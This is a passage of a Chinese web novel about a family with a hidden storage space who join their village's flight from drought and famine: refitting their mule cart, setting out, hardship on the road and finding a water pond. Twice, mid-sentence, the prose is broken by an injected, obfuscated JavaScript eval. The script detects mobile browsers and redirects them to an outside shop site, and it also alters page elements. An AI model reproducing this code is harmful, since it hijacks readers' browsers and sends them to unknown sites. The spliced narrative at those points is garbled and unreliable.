这时候已是七月,天干地旱,石桥镇的粮价,一斤白米三十一文,一斤粗粮二十五文一斤。 眼看着预备逃荒的日子越来越近,赵宁宁一家子闩着大门悄摸地鼓捣路上要吃的喝的用的。 赵宁宁倒腾空间里吃的,宁妈给吃的分类存放在自己空间里,味道小的,直接做成熟食。 宁爸和赵启用在府城买的那套木匠工具和赵宁宁捡破烂系统搜罗来的东西,对他们家的架子车进行大改造。 先是给架子车上加了一个车厢,车厢前面的门加了合叶,合叶是赵宁宁捡到的垃圾,不知是谁家做柜门多的材料直接丢出来的,捡到的时候崭新崭新,都不用赵启另外浪费修复次数。 话题回到车厢上面,前门可以三百六十度打开,打开后有个可以推动的铁栓,能把两个门稳稳固定着,这样骡车走起来两边门不会乱晃。 金属合叶上面,赵启用木头削成薄片,贴上去做掩饰,不管是打开关上,车厢木门都普普通通的。 再看车厢,车厢整体要比普通架子车的车厢高一截,这是宁爸特意找木匠定制的,高一点方便他们两个成年人在车里活动。 车厢后面预留了空地,准备放一些不打紧的东西,空地后面插了四根木棍,这样和车厢一起夹着东西,中间再绑点麻绳,牢固不怕松动。 车顶上,赵启给加装了小护栏和栓绳子的地方,这样车顶可以放不太重的东西,还可以用绳子拴住固定。 车厢里,赵启在里面装了可以收起来的小桌板,拆装十分迅速,车厢尾部还有一处收纳的箱子,箱子上有两处是凹下去的,在上面放上坐垫,就是两个座位。 这个收纳箱只是放出来掩人耳目的,夜间要是睡觉,宁妈可以把它收进空间,这样车厢就能躺得下人了。 车窗两边都有,这样通风好一些,原本车窗的位置只有车帘子挡住,赵启用模板做了两个抽拉的装置,这样晚上睡觉,这个车厢里面可以完全锁住,可以挡住外面的窥探的视线。 车厢前面,宁爸帮着儿子在车顶前装了一个“遮阳棚”,遮阳棚是用两块油布和一块赵宁宁贡献出来的塑料单子缝成的。 赵启最后才做这块地方,他琢磨了半个月,把这处地方做成可折叠的,这样如果需要可以展开,不需要的时候还能收起来,这样风阻削小一些。 宁爸不懂什么风阻大风阻小,他只知道儿子把这辆车给整得像百宝箱一样,设置了好多小功能。 七月底,宁爸把最后一批粗面做成二合面饼子,家里炒米炒面备了五大缸,饼子馒头装在筐里,装了二十筐。 剩下都是精米精面,灶房太热,赵宁宁在空间用电饭煲一锅一锅蒸熟拿给宁妈。 宁宁一家准备差不多的时候。 八月,终于来了! 第33章 逃荒 连旱三年,又遇寒流,寒流过后,是鼠灾,春天迟迟才来,天暖之后,又是第四年旱天。 八月,夜里,里正蹲在自家田埂上,吧嗒着一根野草。 村长站在他后面,眺望着远处,不知在想些什么。 家里媳妇小子都懂事地在给家里省钱,里正抽了二十多年的烟,今年彻底给戒掉,省下来烟丝钱,攒着给家里买粮食。 最近村里好几家**的,里正把嘴里的草吐掉,叹了口气道:“四蛋家前几日打起来……说是为了一碗粥。” “谁让他们家把粮食给卖了的。”村长说:“还有力气打架,我看是吃饱了撑的。” 可不是嘛!前段时间赵老大晕在地里,老赵家说是晒晕的,他们一家子都面黄肌瘦的,明眼人一看便知是饿晕的。 当初交粮税的时候,老赵家可不少卖粮食,卖完还在那炫耀。 “今年……天气还是这样,唉,老李,我是真怕今年咱们熬不下去。” 里正起身,弓腰摸摸眼前的豆子,豆荚瘪瘪的,显然里面没什么东西。 开春,村里有人看着河道里水多,想着种水稻好交粮税,村里人都劝着说稳妥些稳妥些,他们不听。 七月的时候,河道水位下降的只有一丈宽,前两天去看,那一丈宽的水流也断了,今天早上里正去看,原先润湿的河底中心,直接是干裂开的。 没水了,等于没粮了。 现如今还是粮食生长最要紧的时候,这时候没水,今年恐怕都没什么指望了。 除非老天突然能下个三天三夜的。 不少村子开始搞祭祀求雨,连县太爷都去庙里请了大师做法,祈求上天能给岭北府、不,能给丰宁县降点甘霖下来。 干旱第七天,丰宁县开始流传出“触怒鼠神,天罚降临”的谣言,衙门抓了一群人都没止住这谣言的流传。 村长从回忆里回神,回里正的话:“熬不下去也没办法,只能像太爷他们那样再找个地儿。” 里正和村长对视一眼,各自微微叹了口气。 他俩正在发愁的时候,村道上远远走来一个黑影,走进了凑着月光他们才看见是赵家二房的人。 赵铁牛。 这会原先是村里人夜间浇水的时间,可这河流都断流了,赵老二怎么这个时间还出来? “村长,里正,原来你们在这里。”宁爸走过来,不好意思地摸摸头。 “赵老二,如今这河水都断流了,你晚上还出来作甚?”里正问:“你也出来散心?” “不,我是来找你们的。”宁爸搓搓手,说:“我今天去县城,遇见一拨人,他们是从通州府来的。” “通州府的?”里正疑惑,“通州府在岭北府东南边,跟我们隔着一座山呢。” “是的,我看他们行色匆匆,拦着他们打听了一下,领头的说,他们是从那边……”宁爸顿了一下,“他们从那边逃荒过来的。” “逃荒?!”村长攥着手,心头一震。 “对,半月前,他们就开始逃荒了,说是通州鼠灾之后,刚开春没多久就又遇见蝗灾,加上干旱,河水断流,他们地里没粮食,河里没水,只能往北走。” 往北走,翻一座山,可不就到岭北府的地界了么?丰宁县紧挨着这地界,往前数个十几年,丰宁县还是通州下辖的,后面才拨给岭北府。 王李村绵延的后山,就是通州山脉的分支。 只隔着一座山脉,没想到他们那边竟然严重到要逃荒的境地了。 里正又问了一些细节,宁爸把自己今天在县城打听到的能说的都说出来,实在没什么说的,才被里正喊着一起往村子里走。 回到家,里正思来想去都睡不着觉,第二日一早,他喊着村长一起去县城,还没走到县城,便被丰宁县门口排着的长队给堵在城外。 好些个人看上去都疲惫不堪的,里正找了一个看上去和善一些的小伙,给人塞了他早上省下来的一张饼子,“这位后生,我有点事想跟你打听一下。” 小伙忙不迭地收起来,收好之后四处打量一番,见没人关注这里,才问:“你们想问什么。” 几人挪步,离县城门口远一些,到了没什么人的地方,里正问:“前几日听说有通州逃荒到这里来,我想问问你是哪里人?是不是也是通州来的?” 小伙点头,里正再问:“你……你家也是逃荒来的?” “是啊……”提到逃荒二字,小伙眼中迷茫了一瞬,接着朝里正拱手,“我是通州府,井山村的人。” 接着,他把自己逃荒的事给里正讲了,打听到想知道的消息之后,里正两个直接打道回府。 里正家。 村长、村里几家大姓的族老齐聚一堂。 “情况是这个情况,丰宁县怕是也过不了几日就……”里正叹气,“作为王李村里正,我是万般不舍得咱们的村子的,但是不逃荒,眼下境况会越来越坏。” 早点走,说不能找到好点的落脚地。 走慢了,后面还有不知何时会来的蝗灾,蝗灾之后,还有大批逃荒的人。 不止是通州府,南边其他几个府各有各的天灾,但都大同小异,那边如今河道全都断流,地里旱到裂开的口子能塞下一只脚。 逃荒是要逃的,只是早逃,还是晚逃,是个问题。 一群人商议来商议去,最终里正敲定,三天后逃荒。 那天晚上在地头说完心里话,宁爸左等右等,不见村里有动静,还以为里正不准备逃荒,或者是没意识到这事的严重程度。 他正准备今天再去问问,不行就自家去县城花点钱办个假的户籍逃去其他地方。 村里敲锣喊人去村头集合。 赵兴茂周兰香赵启赵宁宁,四个人齐唰唰地出门去听里正怎么说。 村头,里正数了数人,还差两家,便继续等。 “里正,你把我们喊出来有啥事,是今年不收粮税了吗?” “不收粮税?怎么可能,大晚上的你也做白日梦啊……” “那把我们喊出来干啥呢,家里鸡还没喂……” 看到最后两家终于磨唧唧地到了,里正梆梆敲了一下铜锣,村头立马安静下来。 “今天把大家聚在这里,是为了一件活命的大事。” 里正把南边遇道的灾给讲了一遍,又说了通州府的人开始逃荒的事。 末了,他说:“想跟着一起的逃荒的,三日后的辰时,在村头集合。” 他话音刚落,村头炸起过锅来。 不少胆子大的,直接拦住想走的里正,问他要逃荒是什么意思,村里不呆了吗。 里正点头。 有人哭天喊地,舍不得村子,还有人看好些人追问里正,得到的回答都是要逃荒,赶忙回家说这事儿去。 赵宁宁一家四口听完,慢慢往家里走。 不知道为什么,分析出要逃荒的时候,像是有一把大刀悬在头顶,让几人日日夜夜都紧张得不行。 真到了大刀落下的这一天,几人反而淡定了。 “家里还有多少银子?”宁妈问。 赵启算了算,“上个月卖了两个方子,又花出去一些,如今还剩四十两。” “留二十两,剩下的咱全花了!”宁妈揽着女儿和儿子,“明天最后去一趟镇上,以后咱们就得在路上过活了。” 赵宁宁打岔开玩笑道:“西方有大航海时代,咱们也是过上大赶车时代了。” 宁妈摸摸女儿的脸,感叹道:还好宁宁的空间能刷新出吃的,至少逃荒的路上,一家子不用担心粮食的事。 剩下的便是路上的安全。 里正说要逃荒,王李村全村的人今夜都没睡好。 大部分人要跟着里正走,一小部分,觉得到不了要逃荒的地步,田里的粮食还没熟,况且今年再难,春天那段还是有吃食的,只要少吃一点,熬到明年说不定就好了呢? 有一部分是故土难离,这三日,王李村鸡飞狗跳的,有几家的老人不肯跟着去逃荒,小辈轮番去劝。 还有买了粮食在家做路上要吃的干粮的。 家家户户都飘出粮食的香味。 赵宁宁家趁乱又做了一波吃的,反正现在村里都是在做饭的,香味四面八方都有,他们也不知道到底是谁家在卤肉。 卤完肉,宁爸穿上围裙,亲自掌勺炒了十缸硬菜,一缸红烧肉,一水缸番茄炖牛腩,还有板栗烧鸡、土豆炖鸡、年糕烧排骨、辣子鸡丁、糖醋里脊、红烧猪蹄…… 香味霸道至极,哪怕是附近人家都在做肉做饼子,也勾得小孩闹着要吃。 一切准备就绪,第三日早上。 赵宁宁和宁妈把这座小院里能收的东西都收进空间,最后再看一眼,一起坐上骡车,朝村头走去。 村头处。 选择逃荒的人家,这两日为了去镇上采买东西,鞋底儿藏的铜子儿都抠出来了。 家里有些富余的,买不起牛,也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229758|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买个架子车推着拉着,连架子车都买不起的,起码也能买得起一个独轮车推。 村里最富余的还数里正一家,光马车都有三辆,不过他们家人也多,一起出行,足有十几口人。 其次便是村长家,村长家两口子带着五个孩子,分两辆车坐,底下的孩子都还没成亲,最大的十六,最小的才三岁。 除了这两家,村里还有几家富户,他们也都有着马车,最次也买了牛车。 家境一般的,听说这次要逃荒,家里咬咬牙买了牛车,此时乌泱一片,放眼过去,家里有车的竟然占队伍的半数。 赵宁宁家的骡车牵进去,一点都不打眼。 刚走到队尾,赵宁宁便看见周剑他们牵着牛站在一边,何氏还在架子车后面忙来忙去。 “小舅舅!姥姥!”赵宁宁从自家的车上下去,两三步走过去,“你们还没收拾好呐?要我喊我娘他们过来帮忙吗?” “用不着叫他们。”何氏手中动作不停,麻利地把车尾上的柴火栓紧,这才擦了擦额头急出来的汗,说:“早上走得急,怕来晚,剩的柴火没栓紧,现在栓紧了。” 说着话,她从车厢摸出一个包裹打开,包裹里还有一张笼布,笼布包着饼子,何氏从里面拿出来两张,“这个给你拿着,你拿去跟小启一起吃。” 赵宁宁把手背在身后,“我不要,我家早上刚吃了饼子,我现在不想吃。” “让你拿着你就拿着,姥姥的话都不听了?”何氏想塞过去。 见状,赵宁宁泥鳅一样从她旁边滑走,回去找宁妈他们。 两家离得不远,待会走起来说不定就能挨在一起走。 周家早几日就在宁爸的劝说下买了牛车。 那时候通州府逃荒的人还没大批地过来,只有零星几个,宁爸敏锐地注意到之后,回来就开始游说周剑,周剑回家跟何氏一说,他俩再看宁宁家天天叮叮当当地在改骡车,二话不说,掏出压箱底的钱,也跟着买了辆牛车。 他们钱不够,宁妈还特意送了二十两银子过去,何氏好一番推拒,在知道宁妈她们银子够花之后,才收下。 买完牛车,宁爸让周剑把架子车拉到他们家,三人一起,直接在院子里叮叮当当地改造一番。 橡胶轮胎不能给他们用,合叶还是可以的,就算暴露,宁爸也能借口说是在府城买的。现在锻造工艺可以造出类似的,只不过精度和硬度不一定有现代制造的好。 辰时到,里正和村长不再等没过来的人,在前头讲了逃荒路上的规矩,这才开始出发。 规矩很简单,有车的在前,没车的在后,老人小孩在队伍中间,妇人、汉子在队伍前后和两边。 车队开始动起来,没一会,宁宁家的骡车就追上了前面周剑家的牛车。 两车并排,慢悠悠地晃着,赵宁宁嫌慢得心慌,从车上跳下去,跟在车边慢慢地走。 “宁宁过来。”何氏招呼,赵宁宁摇头,“姥姥——我真不饿!” 有一种饿,叫姥姥觉得你饿! 何氏忍俊不禁,笑道:“不是给你吃的,你过来试试衣裳。” 听到是衣服,赵宁宁麻溜过去,走到车边,周剑伸手一捞,赵宁宁一个借力便坐上了周家的牛车。 “什么衣裳呀?姥姥你怎么又给我做衣裳,我都穿不过来了!”赵宁宁很会撒娇,何氏最吃这一套,赵宁宁三两句话给她夸得合不拢嘴。 笑着笑着,她从车厢里找出包裹来,一边拆一边说:“之前做的,前几日忙,昨天晚上才有空给收完边,你试试。” 包裹打开,里面是一件水红色的外衫,颜色鲜亮适合小姑娘,赵宁宁坐着比了比,大小也合适,套在衣服外面简单试了试,正好合身! “我这一身衣服都是姥姥做的,姥姥这么疼我,回去我娘眼都羡慕红了。” 赵宁宁打趣。 其实何氏不但给她和赵启做衣服,还给宁妈也做了,就连宁爸都收到了丈母娘亲手做的鞋——因为宁妈不会做鞋。 跟何氏闲唠了一会,逃荒队伍上了官道,速度终于开始快起来,何氏没让赵宁宁回去,说他家人多,赵宁宁在这里能让骡子省点力气。 坐哪都一样,赵宁宁刚得了新衣服,在何氏面前一只叭叭地夸姥姥,把情绪价值拉得满满的。 队伍后面。 赵慧兰远远望着坐在架子车前面说说笑笑一副轻松模样的五丫,心里愤恨不已。 第34章 逃荒第一天 老赵家买了粮食之后,家里银子就不剩多少了。听到要逃荒的消息,他们一群小辈还想着继续待在王李村。 还是赵老头,驳斥了他们,说:留在王李村,稀稀拉拉没几个人,等后面其他府城的人逃荒路过这里的时候,直接把房子占了,粮食占了,人也杀了吃。 这不是在吓唬他们,而是赵老头的太爷亲口讲给他听的,当年开始逃荒的时候,谁家不是十几口人一起出发的,等落户在王李村这里时,家家户户几乎都只剩一两个人。 一路上都陆续有人死去。 赵老头坚持去逃荒,钱婆子也知道逃荒事关重大,咬牙拿出所有的银子,赵老头掂了掂,默默地去镇上拉回来了一辆架子车。 没有拉车的牲畜,也没有车厢。 所有的家产放上去,只盖了一块油布。 老赵家人多,要拿的东西就多,孙氏这个舍不得丢,那个舍不得扔,等到走的时候,还把堂屋的方桌和带不走的长凳给拿斧头劈开,跟柴火捆在了一起。 远远看去,赵家的架子车如同一座小山一般。 赵老大在前面拉,赵老三在后面推,几个妇人时不时搭一把手。 车上除了曹柔安坐着的地方,其他一丝空位都没。 赵慧兰忍着发胀的双脚,继续往前走。 一往前看,她便能看到,前面赵宁宁正舒服地坐在车上,一边的赵老二正在递给她水囊让她喝水。 舔舔发干的嘴唇,赵慧兰低下头。 她也想喝水…… 可是河已经旱了好些天了,家里早就断水了,唯一一点水,是三叔去镇上买回来的。 还有一水囊水,是大嫂回家,从家里带来的。 这些水都跟她没什么关系,只有在晚上,实在是渴得不行的时候,奶奶才会分出一小口,让她喝。 要是能像赵宁宁那样,坐在牛车上,又有水喝就好了…… 赵宁宁坐在何氏的牛车上,浑然不知自己被人嫉妒着,她喝完水把水囊放好,给何氏和周剑讲自己改版的古代版一千零一夜。 队伍从辰时出发,一走便是两个时辰,一直到午时初,太阳升起,路上热得不行,里正才带着队伍,下了官道,在官道旁的树林停下休息。 众人下车的下车,饮马的饮马,赵宁宁家在车厢里放了盖子能封起来的木桶,停车之后,宁爸把那木桶的盖子打开,从里面倒出一些水,拿去给骡子喝。 何氏这边也在喂牛喝水,周剑在准备午饭,宁妈让他们别收拾了,两家在一起吃一顿。 想着今天是逃荒第一天,何氏便没拒绝,喂完自家牛之后,洗洗手过去帮忙。 赵宁宁家烧起小泥炉,上面放着的是宁爸找人打的小铁锅,铁锅深,底是圆的,又能炒菜又能煮汤,导热还快,特别好用。 把锅架上之后,宁妈回车厢,借着遮掩从空间里拿出一把菜干,又拿出一把肉干。 两种干一起住在锅里,加点盐巴便很鲜美。 汤煮好放一边晾着,宁妈把平底锅架上,在泥炉上慢慢热着饼子。 何氏看得啧啧称奇。 如果不是钱不够,她也想买一个宁宁家这样的圆底小铁锅,平底锅也不错,但是铁器太贵,她买完牛车之后便没多少银子了,只能悄悄地多看几眼,羡慕一下。 饼子热好,六人聚在一起,坐在树底下吃午饭。 一口汤一口饼,赵宁宁满足极了。 逃荒,好像也不是那么可怕嘛。 赵宁宁中午刚想完,下午,车队就开始乱起来。 走在队伍尾部的人嫌走在前面的马车太快。 走在前面的马车,觉得都是他们拖累队伍行程。如果不是等后面的人,他们马车早就走到下一个镇上了。 两拨人在隔空骂来骂去,队伍正在走着,又没法把他们喊停下来去管,里正只能按捺住,等到了晚上,找到歇息的地方时,把挑事的几个人狠狠骂了一通。 骂完之后,他回去和村长族老一起商量,接下来的路该怎么安排。 一天在外面过夜,赵宁宁一家四口都有些不适应。 村里安排的有守夜的,宁爸仍是不放心骡子,他干脆把架子车底部加装的木板抽出来,搭在架子车上的横杠上卡好,后面把架子车的坡度架平,这样车厢和车外都能睡人。 宁爸把骡子直接拴在自己手上,让宁妈几个回车厢去休息。 赵宁宁按照惯例,锁好车厢后便闪身回空间了。 回到熟悉的现代电梯厅后,赵宁宁打开家门,玄关处她的被褥铺底都铺得好好的,宁妈怕她睡地板对脊椎不好,还在镇上给她买了稻草扎成的垫子,铺着睡起码跟冰凉的地板隔开了。 一边想着外面,赵宁宁一边盖好被子闭上眼睛。 一夜无事,第二天醒过来之后,赵宁宁先去厨房把昨天晚上定好时的豆浆倒出来,等凉的差不多,才端出空间。 宁妈喝了一口,赞道:“不错,这天气就该喝稀豆浆,昨天白天都没怎么喝水,我嘴都要起皮了。” 喝完豆浆,几人在车厢里吃了鸡蛋和包子,互相确认没什么异状之后,宁爸坐在车头,把骡子套好。 不多时,其他人家陆陆续续收拾好,卯时正,太阳才刚刚跃出地平线没多久,王李村的逃荒队伍继续前行。 一天这样,赵宁宁还觉得有些新鲜,跟之前放假的时候和宁爸宁妈一起去徒步一样有新鲜感。 两天这样,赵宁宁开始思索,到底什么时候才是个头。 第三天这样,赵宁宁开始摆烂。 出发之前,赵宁宁在自家院子里测试空间会不会随着马车移动,后面发现,只要回空间的时候是在移动的物体上,回来的时候,也在这上面。 也就是说,她的空间会随着马车移动。 摆烂的赵宁宁关上车厢门,回空间里去琢磨一家人的午饭。 除了第一天何氏和周剑过来一起吃饭之后,后面两天他们都坚持要分开吃。 这方便赵宁宁家私底下开小灶。中午时间紧也就算了,晚上休息的时候,宁妈从她空间里拿出一些之前做好的,宁爸再烧一锅汤,就着之前蒸的,从空间里拿出来还有些烫手的馒头或者饼子,一家四口的晚餐简简单单解决。 赵宁宁想给家里人捣鼓点吃起来凉快的东西,这几天赶路,不说宁爸,坐车的宁妈和哥哥都憔悴了,赵宁宁自己也热得有些蔫吧。 空间里的食物天天刷新,赵宁宁拉开冰箱,找出一包面条,又拿出番茄、牛肉、蒜苗等,洗洗手,一边想着之前还在现代的时候吃到的凉面,一边动手做起来。 “好吃!”宁爸挑起一筷子凉面,哧溜一下吸进嘴里,嚼了几下之后,他囫囵吞下,说:“真舒服……” 宁妈夸赞:“宁宁真棒,你怎么想到做凉面的?” “之前暑假去徒步的时候,咱们不是在一家农家乐吃过吗。”赵宁宁说:“我昨天晚上睡觉的时候突然想起来的,想着天热,做这个正合适。” 赵启也悄悄给妹妹比大拇指。 凉面的料汁,赵宁宁没有直接用水调和,而是用的碎冰块,酸酸甜甜的料汁夹着碎冰往面条上一浇,夹着牛肉片和番茄片一起入口,面条爽滑,牛肉有韧劲,番茄爽口。 没有比这个更适合热天吃的了! 赵宁宁连着几天都变着花样的给家里人加餐,宁爸宁妈的慢慢恢复过来。 逃荒第五天,队伍里有累病的。 好在村里的赤脚大夫也跟着来逃荒,村里人来喊,他过去瞧了瞧,说是又累吃得又少,还晒着太阳,这才发起高热的。 大夫逃荒时带了一些药草,里面恰好有治高热的,他抓好药给带过来,村里人千恩万谢地付了钱,拿回去煎着给病人吃。 第五天还只有一个人病,第六天、第七天,陆续有老人小孩生病。 王李村的队伍不得不放缓前行的速度。 第八天夜。 里正坐在火堆旁边,拿着地图看了又看。 村长吃完饭溜达过来,见老王这个样子,干脆坐在他旁边的空地上,“怎么了?” “按这个速度,咱们要晚好几天,才能到府城。” “晚就晚呗,毕竟带着村里的人呢,总不能扔下不管。”村长说:“脚程快的要走十五天呢,咱们走到今天能走一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229759|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半的路程,不算慢了。” 毕竟队伍里有一半都是没用牲畜拉车,纯靠人力和双脚走路的。 里正心里担忧,把地图折好收起来,他起身:“只能这样了。” 王李村的队伍计划去岭北府,看看岭北府那边情况如何。 可是走了七八天,一路上看到的,全是干涸的河道,和焦黄的植被。 路两边一点绿意都没有,里正很是担心岭北府那边的情况。 第九天,王李村的人继续赶路。 这一周多的消耗,给人累得双腿浮肿,脚上磨得全是血泡。 走到今天,不少人都是靠着意志力走下去的。 一路上都没有遇到水源,逃荒的人离开村子的时候带的水囊竹筒里边,已经空了,甚至有几户人已经断水一天了。 如果再找不到水源,他们恐怕没办法继续赶路。 里正家驾着马车,走在队伍最前头,想了想,里正让自家大儿子趁着中午和晚上休息的时候,骑着马在四周看一看,附近有没有水源。 行至一处山脉,队伍停下修整。 里正的大儿子王修奉和村长家的二儿子李思,各自骑着马往林子深处走,剩余人在原地休息。 赵宁宁趁着这个空挡,钻会车厢,回到空间去取豆浆。 豆浆打得稀一点,里面放一些砂糖,喝起来甜滋滋的,上午放在冰箱里冰镇着,现在喝刚好。 赵宁宁把桌板支起来,给家人一人倒上一碗,宁妈端起来喝一口,沁人心脾的凉意顿时将上午的燥热给冲刷殆尽。 “真不错!”宁妈夸赞,捧着冰冰凉的碗,宁妈先从空间里拿出肉夹馍吃下,就着肉夹馍,一口一口把豆浆喝下。 她吃完之后,宁爸和赵启换班过来吃,宁妈把饼放在小桌板上,和赵宁宁一起到架子车车厢门口坐。 热浪扑面。 赵宁宁被热气熏得鼻腔都干燥起来,揉揉鼻子,赵宁宁问:“娘,咱们还要走多远?” “昨天有人问里正,说按着这个速度走,再过七八天就能到了。” ——七八天? 赵宁宁捏着自己的鼻子,苦笑道:“我和我爸……爹当时去,只用五天就能到。” 五天还是中间遇见事儿耽搁了半天,不然跟着熟悉路的商队走,还能更快。 正和宁妈闲聊着,赵宁宁看到远处有一群人慢慢往王李村这边靠近。 ——后面逃荒的队伍,追上了? 赵宁宁眯眼细看,她视力好,能看到那群人身上还算整洁,拖着长长的步调,一步一步往这边挪。 远远的,里正看到他们敲起锣让村里人警戒起来。 等他们靠近的时候,靠在外围的汉子们早把自家东西给收起来,他们刚刚休息的时候已经吃好饭,现在地上只剩下铺着的草席。 他们逃荒的时候把农具也给带上了,此时有农具的,各自拿着锄头镰刀,没有的,也从柴火堆里挑了根粗点的棍子拿着。 众人警惕地看着不速之客。 对方似乎是看出这边的防备,为了打消他们的忌惮,从逃荒队伍里走出来一个中年男子,独自走上前,远远地拱手道:“在下嘉阳县西城村村长,无意冒犯诸位,是想来打听打听,附近可有水源?” 王李村的里正出面,遥遥地大声喊:“我们只在此地停留,并不知道附近有没有水源。” 那人脸上带着失望的神色,朝王李村这边拱拱手,回去他们的队伍。 这里没有水,他们队伍中午都不休息的,直接又往前去了。 等看不到他们的影子,王李村的人才放松下来,把农具柴火都收好。 里正看着他们离开的方向,拧起了眉头。 逃荒第九天,后面就有这样规模的逃荒队伍了。恐怕后面……还会有其他的队伍,要是撞见今天这样好说话的还行,要是碰见心思不正的,王李村的这些村民,可有危险了。 里正合计了一下,决定等晚上休息的时候,通知各家出一个汉子,轮流给队伍值守。 不等他想好该怎么跟村里人说,远远听见马匹咴咴,里正抬头看去,是去找水源的两个孩子回来了。 第35章 不速之客 王修奉举着水囊,兴奋地对着里正喊:“爹,爹!” 看他这样,里正不用想就知道,他的儿子不负众望,找到水源了。 王修奉和李斯走近,两人从马上跳下来,里正问:“好孩子,那边是个什么情况?” “是一块小水潭,约莫有两丈宽,两丈四尺长,中间有些深度,旁边水浅一些。” 听着王修奉的描述,村长的胡子激动得直翘。 这个水潭,足够王李村的人家补充上水源了! 看了看附近没有路过的队伍,里正回去招呼众人赶快收拾起来,他们找到水了! 找到水了?! 队伍里炸起窝来,村民二话不说,把地上铺的草席卷卷直接塞车板子上,拉着车就跟着往前走。 马匹能过去的地方,板车也可以,浩浩荡荡的队伍轧过枯草,跟随者里正他们来到了一处山壁。 山壁坐南朝北,中间凹陷下去一个大坑,坑上全是沙子石头,只有坑底,有一处波光粼粼的地方,那是水源! 一时间,村里人丢下东西,拿着盛水的器具就往小谭跑。 村长和里正拦住他们,里正威严道:“都别乱!” “里正,你别拦着我们啊,我们急着去接水呢!我老娘都一天没喝水了!” “对啊里正,我家的水只剩下半口,我这几天都省着不敢喝,好不容易有水了,你让我们下去喝个饱呗!” “里正,放我们过去呀,我孙子都渴哭了!哦哦……不哭了,奶给你找水水喝,咱马上就能喝到水了……” …… 说什么话的都有,里正没放他们过去,喊到:“都安静!” 碍于他平时在村里的威严,村里人声音渐渐小下去,不再有人说话。 赵宁宁拎着桶,站在最后面也能听到里正的声音: “一家出一个人来!都排好队!按照顺序来取水!” 里正维持秩序,前面人闹哄了一会,各自抢好位置站好,排成一队。 旁的人站在一边,眼巴巴地望向水潭。 按照队伍排序,村民陆续在村长的监督下,一户取一次。 轮到赵宁宁家时,宁爸拿着空桶,下去舀了两桶回去,喂骡子喝了半桶,剩下的倒进带盖子的木桶里,宁爸再次回到队尾排队。 有水之后,王李村的人像是吸饱了水的禾苗一般,直直挺挺精精神神地在说笑,家里有粮食的,趁这水多,在附近搭起炉灶开始烧粥。 所有人都把能装水的东西都装满之后,里正看了看水位,下降了一半。 还有一半的水。 接下来的路上也不知道能不能像今天这样走运,既然剩下的水还够用,里正宣布,今天不赶路了,晚上在这里歇一夜,明天再继续赶路。 听到这个消息,赵宁宁家把骡子栓到树上,骡车停在一边架好。 赵宁宁钻回空间。 把玄关鞋柜上放着的几个铜壶拎起来,赵宁宁打开大门走到厨房,冰柜里冻得有冰块,她看了看,冰块已经冻好,掀开铜壶的盖子,挨个把冰块放里头。 四个都放好冰块用铜壶的棉套包好,赵宁宁拎着闪出空间。 宁妈在车厢里架着桌板往外拿吃的,见宁宁回来,给她嘴里塞了一块炸酥肉。 “快吃,一会替换你爸他们进来再吃点。” 刚刚在路边休息的时候,几人怕待会还要赶路,吃得匆匆忙忙的。 赵宁宁把手里的铜壶用包袱包着,分给宁爸和赵启一人一个,隔着包袱皮和棉布套,丝丝凉意透出,宁爸冲儿子说:“还好有你妹在。” 包着包袱皮的铜壶,任外人怎么看都看不出破绽,顶多以为他们怀里这两个包袱重要,却不知里面另有玄机。 这个办法还是赵宁宁想的。 赵启赞同地点点头,抱紧怀里的包袱。 顶着大太阳赶路好几日,每天身上出汗将衣服打湿,湿透被太阳晒干,这样反反复复,又舍不得用水洗漱,好些人身上都一股馊味。 如今靠近水源,可算是能稍微清洗清洗。 天色擦黑之后,不少人在队伍边缘搭起一个个棚子。棚子四周用床单子罩着,围得密不透风,顶上再盖一个油布,这样旁人就看不到里面的情况了。 端一盆水进去,用布巾沾水擦擦,再换一身干净一些的衣裳,身上那股黏腻的感觉终于被擦净了。 最后再用这盆水把头发洗一遍,虽然头上还有些油腻,那也比没洗强多了。 赵宁宁家也比葫芦画瓢,搭了一个棚子出来。 之前赶路,宁爸宁妈他们几个都是躲在车厢里用毛巾擦洗的,头发不敢洗,怕太显眼。 托小水潭的福,队伍里的村民洗起来,宁宁一家子也能把自己好好地给收拾收拾。 赵宁宁家用不着水潭的水洗,宁爸掩人耳目地打了两桶提回来,宁妈从空间分出一桶在村里时提前烧好的热水,试试水温合适之后,她从盆里拿出赵宁宁给的肥皂。 这是洗手台下面放着用来洗抹布的,之前买的三联包,拆开用了一块,剩下两块都是新的。 现在家里其他区域还没解锁,只能先用肥皂凑合着洗。 宁妈边想边低着头把头浸进水里,头发润湿之后,她把泡沫打出来,再往头上搓。 洗出来的脏水她收进空间,这样,从棚子里出来时,地面上只看着湿湿的,看不出过了很多水。 宁妈洗完,换宁爸和赵启轮流进去洗,到赵宁宁的时候,她躲进去,直接闪进空间,在洗手台那里用盆子接水,痛痛快快地洗了个澡。 一家人清清爽爽地坐在骡车上。 赵宁宁问:“你们想吃什么?” 这块空地比较大,他们选落脚地的时候,特意跟其他人错开,有些距离,可以吃一些有味道的菜。 “想吃猪蹄……”赵宁宁说着,口水都要流出来,她抹抹嘴,“爸烧出来那一天吃过之后,咱们还没再吃过呢!” “行,猪蹄,还有呢?”宁妈记下。 “想吃西瓜。”赵启说。 “行,西瓜也吃,这个不算饭,你再说一个。” “……想喝酸辣汤。”赵启又说一个。酸辣汤是宁妈做的,里面加了猪肚丝,酸酸辣辣,喝起来特别畅快。 